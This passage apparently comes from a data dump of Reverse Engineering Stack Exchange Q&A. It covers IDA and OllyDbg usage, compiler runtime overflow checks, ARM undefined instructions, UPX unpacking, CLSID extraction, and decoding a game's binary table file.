    battle_pvp_costTableAccessor::constructor()\nTableAccessorCore::reset(filename=\"battle_pvp_cost.json\", rootKey=\"battle_pvp_cost\")\nTableAccessorCore::reset(filename=\"battle_pvp_cost.json\", rootKey=\"battle_pvp_cost\", isResources=false)\n// Branch 1\nTableAccessor::get2(name=\"battle_pvp_cost.json\")\nTableAccessor::load2(name=\"battle_pvp_cost.json\", isResources=false)\nTableResources::load2(name=\"battle_pvp_cost.json\", isResources=false)\nTableResources::loadTextAssetFormTableAssets(filename=\"battle_pvp_cost.json\")\nTextAsset::ContainsAndLoadU5S(\"battle_pvp_cost.json\")(?)\n\n// Branch 2\nHandle::getTable(key=\"battle_pvp_cost\")\nuint key2 = CRC32.Compute(str=\"battle_pvp_cost\")\nParameterTableProxy::ParameterTable_table(handle=this.Ptr(?), key=key2)\n
    \n", "Title": "Need some pointers to decode/decrypt/unobfuscate JSON files (updated with related scripts)", "Tags": "|decryption|encodings|", "Answer": "

    you need to post a textual hex-dump using some hex-editor that is capable of writing out

    \n\n

    the gnu xxd is capable of doing that in terminal and has been ported to many os

    \n\n

    the second image in your question that starts with 0x14 0x00 0x00 0x00 seems

    \n\n

    the 0x14 = 20 appears to be the size of filename \"battle_pvp_cost.json\"

    \n\n
    C:\\>python\nPython 2.7.11 \n>>> hex(len(\"battle_pvp_cost.json\"))\n'0x14'\n>>>\n
    \n\n

    that is followed by 0x137 which appears to be the size of binary data

    \n\n
    >>> hex((int(0x153-0x1c)))\n'0x137'\n
    \n\n

    this is the data which you seem to be trying to decode / decrypt whatever

    \n\n

    87 ce ef 3e ...... until 0xe8

    \n\n

    some binary seems to take this blob and writes down the decrypted / decoded /??? version of this blob

    \n\n

    you have to find out who uses this blob and may be reverse engineer that binary to understand

    \n\n

    the first block-quote seems to be this data the third character is greater than symbol which converts to 0x3e

    \n\n

    if you notice the png you posted in your last comment has this pattern interspersed 0xef 0xbf 0xbd for some bytes\nother bytes are left intact from the second hexdump screen shot

    \n\n

    removing the pattern you get what is in the second screen shot

    \n\n
    Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000  00 00 00 00 00 00 00 00 00 3E 47 D6 93 00 00 00  .........>G\u00d6\u201c...\n00000010  65 6E 00 00 00 65 6E 00 00 00 6A 70 CE B4 00 00  en...en...jp\u00ce\u00b4..\n00000020  00 44 00 00 00 00 00 00 00 29 78 00 00 00 00 00  .D.......)x.....\n00000030  00 56 32 54 00 00 00 51 32 02 62 63 20 36 01 62  .V2T...Q2.bc 6.b\n00000040  53 20 36 03 62 73 20 00 00 00 00 62 4B 20 36 34  S 6.bs ....bK 64\n00000050  00 11 00 00 00 4A 00 00 00 0C 00 00 00 00 37 07  .....J........7.\n00000060  00 00 00 CE AC 00 00 00 00 00 00 33 29 CE BE 00  ...\u00ce\u00ac......3)\u00ce\u00be.\n00000070  00 00 03 53 00 00 00 00 00 00 70 DA A7 00 00 00  ...S......p\u00da\u00a7...\n00000080  00 00 00 CE B9 00 00 00 0D 5B 00 00 00 00 1A 00  ...\u00ce\u00b9....[......\n00000090  00 00 1A 00 00 00 00 00 00 CE 83 00 00 00 EF B7  .........\u00ce\u0192...\u00ef\u00b7\n000000A0  82 CE BF 39 67 50 01 00 00 00 18 26 00 00 00 00  \u201a\u00ce\u00bf9gP.....&....\n000000B0  00 00 32 00 00 00 1A D5 BE 0D 00 00 00 CE BF 39  ..2....\u00d5\u00be....\u00ce\u00bf9\n000000C0  67 50 02 00 00 00 18 26 00 00 00 00 00 00 64 00  gP.....&......d.\n000000D0  00 00 6D D2 8E 00 00 00 00 00 00 CE BF 39 67 50  ..m\u00d2\u017d......\u00ce\u00bf9gP\n000000E0  03 00 00 00 18 26 00 00 00 00 00 00 00 00 00 00  .....&..........\n000000F0  00 00 00 00 00 00 00 00 00 1B 38 00 00 00 CE BF  ..........8...\u00ce\u00bf\n00000100  39 67 50 04 00 00 00 18 26 00 00 00 00 00 00 00  9gP.....&.......\n00000110  00 00 01 2C CE 84 00 00 00 2B 00 00 00 00 00 00  ...,\u00ce\u201e...+......\n00000120  CE BF 39 67 50 05 00 00 00 18 26 00 00 00 00 00  \u00ce\u00bf9gP.....&.....\n00000130  00 00 00 00 01 00 00 00 00 00 00 1D 00 00 00 7A  ...............z\n00000140  14 00 00 00 CE BF 39 67 50 06 00 00 00 18 26 00  ....\u00ce\u00bf9gP.....&.\n00000150  00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 6A  ...............j\n00000160  00 00 00 4A 00 00 00 00 00 00 CE BF 39 67 50 07  ...J......\u00ce\u00bf9gP.\n00000170  00 00 00 18 26 00 00 00 00 00 00 00 00 00 02 58  ....&..........X\n00000180  00 00 00 00 00 00 00 57 13 00 00 00 CE BF 39 67  .......W....\u00ce\u00bf9g\n00000190  50 08 00 00 00 18 26 00 00 00 00 00 00 00 00 00  P.....&.........\n000001A0  02 00 00 00 CE 8D 07 67 00 00 00 00 00 00 CE BF  ....\u00ce..g......\u00ce\u00bf\n000001B0  39 67 50 09 00 00 00 18 26 00 00 00 00 00 00 00  9gP.....&.......\n000001C0  00 00 03 20 CE A1 5D 25 00 00 00 CE BF 39 67 50  ... \u00ce\u00a1]%...\u00ce\u00bf9gP\n000001D0  0A 00 00 00 18 26 00 00 00 00 00 00 00 00 00 03  .....&..........\n000001E0  00 00 00 00 00 00 00 00 00 5A 15 77 00 00 00 CE  .........Z.w...\u00ce\n000001F0  BF 39 67 50 0B 00 00 00 18 26 00 00 00 00 00 00  \u00bf9gP.....&......\n00000200  00 00 00 03 00 00 00                             .......   \n
    \n\n

    those are utf8 replacement charecters

    \n\n
    &#65533;&#65533;&#65533;&#65533;&#65533;\n
    \n\n

    �����

    \n\n

    to answer your comment regarding decoding/decrypting the contents

    \n\n

    since you dont have other samples first thing you should do is gather as many samples as you can and confirm if the hypothesis is correct

    \n\n

    the hypothesis being first dword = length of file followed by actual file name of said length

    \n\n

    on the end of filename another dword that possibly indicates the length of binary blob and followed by actual binary blob of said length

    \n\n

    if the file is bigger than the battxx.json does it have other pairs like this

    \n\n

    ie another file followed by another binary blob

    \n\n

    if the hypothesis pans out

    \n\n

    then if you are on windows and you can execute the game or application \nthen you can log the games/ applications activity with procmon / api monitor etc / if you are on nix you have ltrace / strace etc basically a program that monitors activities and logs call stacks / arguments / function reurns etc \nwith that running in background if you executed the game / app and if it accesses this file you can see the call stack and debug the game / app independently and single step around and watch what exactly is happening

    \n\n

    a small sample flow diagram would be like Open-> read / map -> manipulate -> write / use

    \n" }, { "Id": "17616", "CreationDate": "2018-03-06T03:22:22.130", "Body": "

    I need to copy some code of old version to the new version .exe file. It contains 30 to (N) number of code line. How can I copy and paste the old code to new version. Any help is so much appreciated. Basically I need to do it like what Fill with NOP does(which is noping N number of lines) I need to copy and paste a code like N number of times.

    \n", "Title": "How to paste 30-(N) number of assembly code to ollydbg", "Tags": "|ollydbg|", "Answer": "

    There many ways to do this.

    \n\n

    I once had to add 3000 lines to a program . The answer above works , but your life will become much ,much harder this way.

    \n\n

    Use this tool MLA from Ramm michael\nIn Olly , you can just right click and open a part or section if highlighted in this notepad like plugin. You can just simply copy paste and click to insert assembly.

    \n\n

    I like this tool because as you go along you can simply just edit your code and click the assemble button and that is it! Its like coding assembly without needing to compile!

    \n\n

    As a warning, make sure your code fits. Usually , I will code cave or something and then jump back to the origional code.

    \n\n

    Let me know.of you have questions. The tool is pretty simple to use and Ramm is a pretty cool guy.

    \n\n

    Here is a video that uses this a bit.

    \n\n

    Assembly tutorials

    \n" }, { "Id": "17646", "CreationDate": "2018-03-09T18:52:43.583", "Body": "

    I've open wsl.exe in IDA v7. With Tab key I open pseudocode of sub_1400129F4 like this:

    \n\n
    __int64 sub_1400129F4(__int64 a1, __int64 a2, __int64 a3, __int64 a4, ...) {\n......\n\nv8 = (__int64 *)sub_140011A40();\n}\n
    \n\n
      \n
    • The assembly of sub_140011A40():
      • \n
    \n\n\n\n
    sub_140011A40 proc near\nlea     rax, unk_14001C2B0\nretn\nsub_140011A40 endp\n
    \n\n
      \n
    • The pseudo code of sub_140011A40():
      • \n
    \n\n\n\n
    void *sub_140011A40() {\n  return &unk_14001C2B0;\n}\n
    \n\n
      \n
    • The .data sections shows this:
      • \n
    \n\n\n\n
    .data:000000014001C2AE                 db    0\n.data:000000014001C2AF                 db    0\n.data:000000014001C2B0 unk_14001C2B0   db    0                 ; DATA XREF: sub_140011A40\u2191o\n.data:000000014001C2B1                 db    0\n.data:000000014001C2B2                 db    0\n.data:000000014001C2B3                 db    0\n.data:000000014001C2B4                 db    0\n.data:000000014001C2B5                 db    0\n.data:000000014001C2B6                 db    0\n.data:000000014001C2B7                 db    0\n.data:000000014001C2B8 unk_14001C2B8   db    0                 ; DATA XREF: sub_140011A48\u2191o\n.data:000000014001C2B9                 db    0\n.data:000000014001C2BA                 db    0\n
    \n\n
      \n
    • Question: What is the unk in that pseudo code or in that assembly? Does it hold the values of eight zeros from .data section?
      • \n
    \n", "Title": "What are the unk in IDA pseudo code?", "Tags": "|ida|disassembly|", "Answer": "
    lea rax , unk___xxx \nret \n
    \n\n

    means the function returns the address not the contents

    \n\n

    lea (load effective address ) is a special kind of mov instruction that load the address not the contents

    \n\n

    the unk is a label ida could not decipher the type so it labelled the address as unk (possibly short form for unknown)

    \n\n

    if you select that address and press d ida will replace the unk with byte \nif you press d again ida will rename the byte to word etc etc

    \n\n

    basically from your pseudo code

    \n\n

    the result would be v8 = &foo()

    \n\n

    a screen shot where ida wasn't sure what the type was for a CRITICAL_SECTION pointer manually applying the structure to the address

    \n\n

    \"enter

    \n" }, { "Id": "17648", "CreationDate": "2018-03-10T07:43:54.650", "Body": "

    I'm reading the IDA Pro book and in chapter 20 the author shows the following code from a debug build:

    \n\n
    push ebp\nmov ebp, esp\nsub esp, 0F0h\npush ebx\npush esi\npush edi \nlea edi, [ebp+var_F0]\nmov ecx, 3Ch\nmov eax, 0CCCCCCCCh\nrep stosd\nmov[ebp+var_8], 0\nmov [ebp+var_14], 1\nmov [ebp+var_20], 2\nmov [ebp+var_2C], 3\n
    \n\n

    As we can see the local variables are not adjacent to each other. Chris Eagle outlines that this makes it easier to detect overflows from one variable that may spill into and corrupt another variable, and then he just left it at that. That doesn't make sense to me, isn't it easier to just set a breakpoint after a specific operation that could cause an overflow and then check the value of variable? How exactly is this more useful?

    \n", "Title": "Debug vs Release binaries - Overflow detection", "Tags": "|ida|ollydbg|buffer-overflow|software-security|", "Answer": "

    the latest visual studio compilers use runtime checks to detect overflows it \nperforms them using a variety of run-time checks

    \n\n

    you can use them in un-optimized builds only /Od \n(these don't work in optimized builds not with /O1 or /O2 or /Ox)

    \n\n

    these can be either #pragmas or /RTC1 /RTCS | U | C command-line switches

    \n\n

    the stack corruption is detected by means of allocating a larger buffer than is required and filling it up with a known pattern

    \n\n

    since the compiler knows how much space should be used it can check if the bounds have been trampled with unknown pattern

    \n\n

    (yes some clever pattern matching exploits can possibly still try to fool this but it works for genuine usage where you are writing an inadvertently overflowing code)

    \n\n

    take for example this code

    \n\n
    #define CRT_SECURE_NO_WARNING\n#include <string.h>\n#include <stdio.h>\nvoid foo(void){\n    char flowoverme[0x10];\n    strcpy(flowoverme,\"yaddaaayadddaaafoo\");\n}\nint main(void){\n    foo();\n    printf(\"checking overflows by pattern pasting \\n\");\n}\n
    \n\n

    (if you use /analyze compiler switch it will spit out this code will overflow

    \n\n
    :\\>cl /nologo /Zi /RTC1 /analyze /Od /EHsc rtcchk.cpp /link /nologo /debug\nrtcchk.cpp\nrtcchk.cpp(8) : warning C6386: Buffer overrun while writing to 'flowoverme':  the wr\nitable size is '16' bytes, but '19' bytes might be written.: Lines: 7, 8\n
    \n\n

    but assume you just did cl foo.cpp

    \n\n
    :\\>cl /nologo /Zi /RTC1 /Od /EHsc rtcchk.cpp /link /nologo /debug\nrtcchk.cpp\n
    \n\n

    if you execute this compiled code the printf wont be reached if runtime checks were enabled

    \n\n
    :\\>rtcchk.exe\n\n:\\>\n
    \n\n

    we can disassemble and see what is happening inside the function foo and why printf() is not executed

    \n\n

    lets open up the binary in windbg go to start of foo() and ask windbg to go up (gu that is return to main() back) as below and you will notice windbg doesn't return to main but stops with an error message

    \n\n
    :\\>cdb -c \"g rtcchk!foo;gu\" rtcchk.exe\n\nMicrosoft (R) Windows Debugger Version 10.0.16299.15 X86\n\n0:000> cdb: Reading initial command 'g rtcchk!foo;gu'\n\nrtcchk!failwithmessage+0x255:\n013d75da cc              int     3\n
    \n\n

    and the call stack would show

    \n\n
    0:000> kP\nChildEBP RetAddr\n0028f544 013d72a9 rtcchk!failwithmessage(\n                        void * retaddr = 0x013d698a,\n                        int crttype = 0n1,\n                        int errnum = 0n2,\n                        char * msg = 0x0028f568 \"Stack around the variable 'flowoverme' was corrupted.\")+0x255\n0028f96c 013d6c3d rtcchk!_RTC_StackFailure(\n                        void * retaddr = 0x013d698a,\n                        char * varname = 0x013d69b8 \"flowoverme\")+0x94\n0028f98c 013d698a rtcchk!_RTC_CheckStackVars(\n                        void * frame = 0x0028f9b8,\n                        struct _RTC_framedesc * v = 0x013d69a4)+0x42\n0028f9b8 013d69d8 rtcchk!foo(void)+0x4a\n0028f9c0 013d6ecd rtcchk!main(void)+0x8\n(Inline) -------- rtcchk!invoke_main+0x1c\n0028fa08 76a9ed6c rtcchk!__scrt_common_main_seh(void)+0xf9\n0028fa14 77cb37eb kernel32!BaseThreadInitThunk+0xe\n0028fa54 77cb37be ntdll!__RtlUserThreadStart+0x70\n0028fa6c 00000000 ntdll!_RtlUserThreadStart+0x1b\n0:000>\n
    \n\n

    if you still want to know what or how those functions operate open up either crt sources in vs or disassemble the functions

    \n\n

    the compiler knows the required size and where the bounds are

    \n\n
    0:000> dx -r3 (_RTC_framedesc *) 0x013d69a4\n(_RTC_framedesc *) 0x013d69a4  : 0x13d69a4 [Type: _RTC_framedesc *]\n    [+0x000] varCount         : 1 [Type: int]\n    [+0x004] variables        : 0x13d69ac [Type: _RTC_vardesc *]\n        [+0x000] addr             : -24 [Type: int]\n        [+0x004] size             : 16 [Type: int]\n        [+0x008] name             : 0x13d69b8 : \"flowoverme\" [Type: char *]\n0:000>\n
    \n" }, { "Id": "17649", "CreationDate": "2018-03-10T09:01:23.097", "Body": "

    I've been recently looking through decompiled AS3 code from Ubisoft's \"The Settlers Online\" and found an easter egg along with something that looked like trigger, but - as I have never read AS3 before, and even if - decompiled code is often too obscure to understand, even for experienced coders , not to say for me. so, here I came up with question: anyone has a clue how to trigger that easter contained in this tiny AS3 snippet:

    \n\n
    package Utils\n{\n   import flash.events.KeyboardEvent;\n   import flash.ui.Keyboard;\n   import mx.core.UIComponent;\n\n   public class RabbidCode\n   {\n\n\n      private var sequence:Array;\n\n      public function RabbidCode()\n      {\n         while(true)\n         {\n            while(true)\n            {\n               switch(0)\n               {\n                  case 0:\n                     super();\n                     this.reset();\n                     (global.getApplication() as UIComponent).stage.addEventListener(KeyboardEvent.KEY_UP,this.handleKeyUp);\n                     return;\n                  case 1:\n                     continue;\n               }\n            }\n         }\n      }\n\n      private function handleKeyUp(param1:KeyboardEvent) : void\n      {\n         while(false)\n         {\n         }\n         var _loc2_:int = this.sequence.shift();\n         if(param1.keyCode == _loc2_)\n         {\n            if(this.sequence.length == 0)\n            {\n               this.action();\n            }\n            else\n            {\n               return;\n            }\n         }\n         this.reset();\n      }\n\n      private function action() : void\n      {\n         while(true)\n         {\n            while(true)\n            {\n               switch(0)\n               {\n                  case 0:\n                     var _loc1_:* = [\"Graubart\",\"Pandur\",\"Amaris\",\"Helene\",\"Ravel\",\"EnglishFellow\",\"Shark\",\"AJ\",\"David\",\"Ferhat\",\"Kalle\",\"Buan\",\"Franck\",\"Alexandra\",\"Bine\",\"Nils\",\"ZockenMitKatze\",\"Aenlin\",\"Miriam\",\"Crystaliq\",\"Buddy\",\"C\u00e9line\",\"Ally\",\"Jason\",\"Omris\",\"Orowa\",\"Lyedra\",\"Anna\",\"Talamira\",\"Taku\",\"Throril\",\"Naknaknak\",\"Infran\",\"Linki\",\"Henning\",\"Dzan\",\"Sandra\",\"Pherlin\",\"Andreas\",\"Alexander\",\"Angel\",\"Bogdan\",\"Carlos\",\"Chris\",\"Claudiu\",\"Denis\",\"Ignacio\",\"Linda\",\"Marcel\",\"Matthias\",\"Michael\",\"Mirco\",\"Oliver\",\"Paul\",\"Catalin\",\"Bob\",\"Rudi\",\"Ruslan\",\"Simon\",\"Sonja\",\"Stefan\",\"Tobias\",\"Jakub\",\"Violeta\",\"Maggie\",\"Clara\",\"Erkan\",\"Sabrina\",\"Sebastian\",\"Patrick\",\"Aeyline\",\"Penelopa\",\"Ondgrund\",\"Belegha\",\"Acadma\",\"Omris\",\"Amta\",\"Maxhylere\",\"Kumakun\",\"Orowa\",\"Saqui\",\"Nanuq\",\"Taku\",\"Aylea\",\"Anash\",\"Zoltan\",\"Grubur\",\"Veythyru\"];\n                     global.ui.mCurrentPlayerZone.mSettlerKIManager.setNameList(_loc1_);\n                     return;\n                  case 1:\n                     continue;\n               }\n            }\n         }\n      }\n\n      private function reset() : void\n      {\n         while(false)\n         {\n         }\n         this.sequence = [Keyboard.UP,Keyboard.UP,Keyboard.DOWN,Keyboard.DOWN,Keyboard.LEFT,Keyboard.RIGHT,Keyboard.LEFT,Keyboard.RIGHT,\"B\".charCodeAt(0),\"A\".charCodeAt(0)];\n      }\n   }\n}\n
    \n", "Title": "found easter egg (incl releasing trigger) in as code, but no clue how to fire it", "Tags": "|disassembly|flash|", "Answer": "

    This combination (up, up, down, down, left, right, left, right, A, B) is a well known Konami code so just pressing those keys should trigger it.

    \n\n

    The real question here is when, or if at all this code is loaded so that it actually is hooked-up and can be triggered.

    \n" }, { "Id": "17663", "CreationDate": "2018-03-12T12:10:38.663", "Body": "

    I looked at two ways so far. Both did not convince me in regard to false positives or false negatives:

    \n\n
      \n

    1. Using strings: How to retrieve the GCC version used to compile a given ELF executable?

      2. \n

    2. Using the linker version field in the PE header: Can I tell what version of Visual Studio was used to build a DLL by examining the DLL itself?

      3. \n
    \n\n

    What is a good heuristic to tell if a PE executable was compiled with VisualStudio/gcc ?

    \n\n

    For example, are there certain strings, header values, sections, imports, etc. that allow to differentiate one from the other? The exact compiler versions and used compiler flags do not matter...

    \n\n

    I am also not expecting malicious executables.

    \n", "Title": "How to find out if PE executable was compiled with gcc or VisualStudio?", "Tags": "|pe|executable|compilers|binary-format|gcc|", "Answer": "

    While not a definitive way of determining if GCC OR MSVC (Visual Studio) was used, the presence of the Rich header does determine whether Microsoft's link.exe (MS VC Toolset's linker) was used. (Note: Newer Visual Studio also supports building with clang)

    \n\n

    I get that it's officially undocumented, but it's arguably the most publicly well-known and documented undocumented PE structure.

    \n\n

    Link.exe always inserts the Rich header, there's no way to tell it not to. There's even a request on visualstudio.com to add a switch to remove it, but the official response is that there's no way currently: https://developercommunity.visualstudio.com/idea/740443/add-linker-option-to-strip-rich-stamp-from-exe-hea.html. They are also likely never going to remove this header even with \"developer privacy\" as the stated concern because the information contained is build environment related (not personally identifiable usually) and is currently a very popular way to loosely link malware attribution.

    \n\n

    Conversely, MinGW, GCC, and others do not insert this header.

    \n\n

    If you want some python code to detect the presence of the Rich header (the pefile module is packed full of features to also parse and manipulate headers):

    \n\n\n\n
    from pefile import PE\n\npe = PE('/path/to/file.exe')\n\nrich_header = pe.RICH_HEADER\n\nreturn rich_header is not None\n
    \n\n

    If rich_header is None then there is no header present, otherwise, this contains the header and its values.

    \n" }, { "Id": "17665", "CreationDate": "2018-03-12T16:05:52.833", "Body": "

    I'm reverse engineering an ARM binary written in Go, and the following code sequence occurs fairly often (from runtime.cgoIsGoPointer):

    \n\n
    BL  runtime.panicindex\nDCD 0xF7FABCFD\n
    \n\n

    or, from runtime.panicmem:

    \n\n
    BL  runtime.gopanic\nDCD 0xF7FABCFD\n
    \n\n

    0xF7FABCFD is an undefined instruction, so I'm curious what it's purpose is. I think the answer may be related to this question, because compiling for x86 produces the following sequence of instructions in the corresponding functions:

    \n\n
    callq runtime.panicindex\nud2\n
    \n\n

    and

    \n\n
    callq runtime.gopanic\nud2\n
    \n\n

    It looks like the linux kernel uses different instructions for this purpose. From arch/arm/include/asm/bug.h:

    \n\n
    /*\n * Use a suitable undefined instruction to use for ARM/Thumb2 bug handling.\n * We need to be careful not to conflict with those used by other modules and\n * the register_undef_hook() system.\n */\n#ifdef CONFIG_THUMB2_KERNEL\n#define BUG_INSTR_VALUE 0xde02\n#define BUG_INSTR(__value) __inst_thumb16(__value)\n#else\n#define BUG_INSTR_VALUE 0xe7f001f2\n#define BUG_INSTR(__value) __inst_arm(__value)\n#endif\n
    \n\n

    But there is reference to 0xf7fabcfd in some of the Go internals. From cmd/internal/obj/arm/asm5.go:

    \n\n
    // This is supposed to be something that stops execution.\n// It's not supposed to be reached, ever, but if it is, we'd\n// like to be able to tell how we got there. Assemble as\n// 0xf7fabcfd which is guaranteed to raise undefined instruction\n// exception.\ncase 96: /* UNDEF */\n        o1 = 0xf7fabcfd\n
    \n\n

    Anyway, can anyone confirm this suspicion and/or shed more light into why this is done? Also, why not just use 0xe7f001f2 like the linux kernel does?

    \n", "Title": "Undefined instruction in Go binary compiled for ARM", "Tags": "|disassembly|arm|", "Answer": "

    The (32-bit) ARM architecture has a instruction with opcode UDF whose encodings are guaranteed to be permanently undefined.\nThere are 3 encodings of this instructions one each for Thumb, Thumb-2, and ARM.\nIn hex these are -

    \n\n
    Thumb   0xDE**       \nThumb2  0xF7F*A***   \nARM     0xE7F***F*   \n*'s are ignored by the processor so can be any value.\n
    \n\n

    There is also another ARM encoding that the architecture guarantees to be permanently undefined, albeit without giving it an opcode. This is -

    \n\n
    ARM     0x*7F***F*\n*'s are ignored by the processor so can be any value.\n
    \n\n

    (Note that the UDF instruction is a special case of this encoding with the condition bits set to AL or 1110.)

    \n\n

    The Linux code you quote is using the UDF opcode encodings for Thumb and ARM.

    \n\n

    The Go code is using the ARM encoding which doesn't have an opcode.

    \n\n

    Given the * bits are ignored by the processor and can be picked at the programmer's discretion, I would expect someone to choose their own values rather than spend time trying to find where other people have used the instruction any picking the same values as them.

    \n\n

    Indeed, the Linux code you quote explicitly explains that the value was chosen to avoid conflicts with other deliberate uses of undefined instructions with Linux's undefined instruction hook mechanism. So, if the Go authors were aware of the Linux usage here, I'd still expect them to choose different values.

    \n" }, { "Id": "17675", "CreationDate": "2018-03-12T23:39:12.243", "Body": "

    I have tried all the I have learned so far to figure out how to deal with this instance of obfuscation.\n\"enter

    \n\n

    So far I understand that an opaque predicate is present, causing an unconditional jump to one byte into L0.

    \n\n

    What I don't understand is how to deal with this issue in IDA. If the jump is made to L0+1 how can I mark the byte E8 as data, or deal with this otherwise.

    \n\n

    Any help would be appreciated. Thanks.

    \n", "Title": "IDA pro obfuscation instance", "Tags": "|disassembly|obfuscation|", "Answer": "

    IDA is good at recognising such tricks, but if it didn't\nyou can press D having the call instruction selected.

    \n\n

    This will convert the opcode to a data, displaying just bunch of dbs. After that, select the byte that has db 58 (so one after E8) and press C to convert it to code again without the first byte.

    \n\n

    Result after the changes.

    \n\n

    \"enter

    \n\n

    I don't know if this could be automated - probably with some script that IDA supports it could be.

    \n" }, { "Id": "17676", "CreationDate": "2018-03-13T03:07:00.427", "Body": "

    I was wondering if someone could provide me an UPX unpacker, which works with unix excutable files.

    \n\n

    I've tried a bunch of already, but all of those expect .EXE's which obviously won't work for me.

    \n\n

    Thanks

    \n", "Title": "Unpacking UPX OSX files", "Tags": "|unpacking|upx|", "Answer": "

    Unless the binary has been modified to prevent it, UPX itself should be able to unpack it:

    \n\n

    upx -d packed.bin

    \n" }, { "Id": "17685", "CreationDate": "2018-03-13T16:13:06.777", "Body": "

    I've find a CoCreateInstance() in IDA disassembly (after CoInitializeEx()). Here are the assembly:

    \n\n
    loc_18000499D:          ; pUnkOuter\nxor     edx, edx\nmov     [rsp+68h+ppv], rbx ; ppv\nlea     r9, riid        ; riid\nlea     rcx, rclsid     ; rclsid\nlea     r8d, [rdx+4]    ; dwClsContext\ncall    cs:CoCreateInstance\nmov     ebx, eax\nmov     eax, 8007019Eh\ncmp     ebx, 80040154h\ncmovz   ebx, eax\ntest    ebx, ebx\njns     short loc_1800049D7\n
    \n\n

    And the pseudocode is:

    \n\n
    CoCreateInstance(&rclsid, 0i64, 4u, &riid, v4 + 1);\n
    \n\n

    When I click the rclsid it is redirected to read-only data segment. Here is the .rdata section:

    \n\n
    .rdata:0000000180007930 ; IID rclsid\n.rdata:0000000180007930 rclsid          dd 4F476546h            ; Data1\n.rdata:0000000180007930                                         ; DATA XREF: f_CoInitialize+A7\u2191o\n.rdata:0000000180007930                 dw 0B412h               ; Data2\n.rdata:0000000180007930                 dw 4579h                ; Data3\n.rdata:0000000180007930                 db 0B6h, 4Ch, 12h, 3Dh, 0F3h, 31h, 0E3h, 0D6h; Data4\n.rdata:0000000180007940 ; IID riid\n.rdata:0000000180007940 riid            dd 536A6BCFh            ; Data1\n.rdata:0000000180007940                                         ; DATA XREF: f_CoInitialize+A0\u2191o\n.rdata:0000000180007940                 dw 0FE04h               ; Data2\n.rdata:0000000180007940                 dw 41D9h                ; Data3\n.rdata:0000000180007940                 db 0B9h, 78h, 0DCh, 0ACh, 2 dup(0A9h), 0B5h, 0B9h; Data4\n
    \n\n

    So, How can I find the CLSID? I tried to change the data type with D key but can't understand it.

    \n", "Title": "How to find CLSID from CoCreateInstance in IDA?", "Tags": "|ida|disassembly|", "Answer": "

    From @Remko's idea, I made a IDC script to convert the GUID data to a sting. Here is the script:

    \n\n\n\n
    #include <idc.idc>\n\nstatic MakeGuid(ea)\n{\n    auto string = sprintf(\"{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}\\n\", \n        Dword(ea), Word(ea+4), Word(ea+6), Byte(ea+8), Byte(ea+9),\n        Byte(ea+10), Byte(ea+11), Byte(ea+12), Byte(ea+13), Byte(ea+14), Byte(ea+15)\n    Message(string);\n    return 0;\n}\n
    \n\n

    Instructions:

    \n\n

    Make a text file in any text editor. Add .IDC extension. Paste the above code. Load the IDC script file in IDA with Alt+F7 (or File > Load Script menu). Open the output window with Alt+0 (zero). Type MakeGuid(variable_name); below of that window and the GUID will be shown as string. For example, as in my question, type MakeGuid(rclsid);. Always put a semicolon after the function.

    \n\n

    Sources:

    \n\n\n" }, { "Id": "17686", "CreationDate": "2018-03-13T17:37:26.500", "Body": "

    So i'm new to the whole reverse engineering thing with only experience in C#. So I wanted to try and change the framerate of applications (eg. this unity game) at an assembly level on iOS ( I have an 120hz iPad pro so I find it really important.) Therefore to learn how this was done I decrypted the binary of my very own app on the app store and then compared it with the C++ code that is created when unity exports to Xcode.\n\"enter

    \n\n

    Note the highlighted area and the value of 120 (the framerate). This is in C++.\n\"enter\nBut now in assembly note how the value is simply \"System.Int32\"\nSoo what happened to it? Maybe it's something to do with the /hidden argument/ in the C++ code? but for other apps I obviously won't have access to that. I'm still new to this and i've been trying to learn the basics of assembly. I'm just baffled as to what I should do and how the value can be changed? If someone could explain how to do so that would be great. If not a helpful pointer as to what I should learn and do next to solve this problem, maybe links to articles would be also helpful. Thanks in advance.

    \n", "Title": "Newbie here: hidden values in assembly?", "Tags": "|arm|ios|binary|", "Answer": "

    Unity is written in C# and in C#, there are things that are called properties. Behind the scene there are two methods (called getter, and setter) but in the source code it looks like there is no function calls. This is how TargetFrameRate looks like:

    \n\n
    public int TargetFrameRate { get; set;} // getter & setter omitted for brevity\n
    \n\n

    What you see in your assembly is in fact calling the setter (thus set_targetFrameRate). And as those are not method, there can only be one value that is passed to them (or assigned as in C# code they look like normal assignment operation i.e. TargetFrameRate = 120).

    \n\n

    Of course Obj-C/Swift and C++ are different and does not support those so that have to be mitigated and for some reason they were coded like that (method & more than one value).

    \n\n

    So there is no issue that you see only one argument that set_TargetFrameRate takes.

    \n\n

    What more you can do is to open Unity3d in .net decompiler like dnSpy and verify that this is in fact how TargetFrameRate looks like:

    \n\n

    \"enter

    \n\n

    Since it has an InternalCall & extern you would need to dig a bit deeper to get to the actual implementation.

    \n" }, { "Id": "17719", "CreationDate": "2018-03-17T18:02:06.310", "Body": "

    I'm writing a plugin which is available at all times (PLUGIN_FIX flag).\nHowever, I also need to be notified when a database is created or opened, as if I would handle the moment when init() is called on plugins without the PLUGIN_FIX flag.

    \n\n

    I looked into the IDA 7.0 SDK, but I only found idb_event::closebase, and I need the exact opposite. idb_event::savebase also doesn't really match.

    \n\n

    I logged all events in the SDK ever raised by IDA (causing IDA to run slower than my grandma \u263a), and only dug out idb_event::kernel_config_loaded which happens around the moment I want to catch. However, it also triggers at other times (like when simply clicking the \"Open\" button), so it's not a match too.

    \n\n

    Am I missing something here? Such an event seems quite important to me, so I'm a bit surprised there's nothing \"obvious\" for it.

    \n", "Title": "IDA SDK: Event when database created / opened?", "Tags": "|ida|ida-plugin|idapro-sdk|", "Answer": "

    After looking around a bit more, I noticed that if I handle the following two processor module (HT_IDP) events, I can pretty much catch the moment I wanted:

    \n\n
      \n
    • processor_t::event_t::ev_newfile when a new database is being created (like from a PE file)
      • \n
    • processor_t::event_t::ev_oldfile when an existing database has been loaded (from a .idb file)
      • \n
    \n" }, { "Id": "17735", "CreationDate": "2018-03-19T19:26:08.637", "Body": "

    I have loaded a binary file into IDA which is for Motorola 6800 series.

    \n\n
      \n

    • The strings are referenced like this: pea ($2017A99).l.\nThe actual address of the referenced string in above command is 0x017A99.

      • \n

    • Functions are called like this:

      \n\n
      lea     ($200CA4C).l,a3\njsr     (a3)\n
      \n\n

      or like this:

      \n\n
      jsr     $200CA4C\n
      \n\n

      where in both cases, the actual address of the function is 0x0CA4C.
